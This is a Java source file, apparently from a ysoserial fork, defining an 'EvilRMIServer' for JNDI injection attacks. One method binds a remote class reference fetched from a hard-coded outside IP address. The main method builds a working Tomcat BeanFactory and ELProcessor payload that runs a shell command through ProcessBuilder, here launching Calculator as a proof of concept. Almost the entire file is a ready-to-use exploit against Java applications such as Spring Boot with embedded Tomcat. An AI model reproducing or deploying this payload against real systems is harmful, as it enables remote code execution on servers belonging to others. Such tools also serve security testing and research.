package ysoserial.exploit.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @ClassName: EvilRMIServer
 * @Description: ToDo
 * @Author: angelwhu
 * @Create: 2019/03/05 20:22
 **/
public class EvilRMIServer {
    /**
     * 依赖条件：
     * - JDK1.8环境设置: System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
     *
     */
    public static void main2(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
        // 第一个参数:类名
        // 第二个参数:路由位置,http://39.106.143.48:8080/factory
        // 第三个参数:服务器地址
        Reference ref = new Reference("Evil","Evil","http://39.106.143.48:8080/");

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilObject", referenceWrapper);
    }

    /**
     * 依赖条件：
     * - Tomcat8(Spring boot 内嵌), 自带Java EL包~
     */
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("evilObject", referenceWrapper);
    }
}
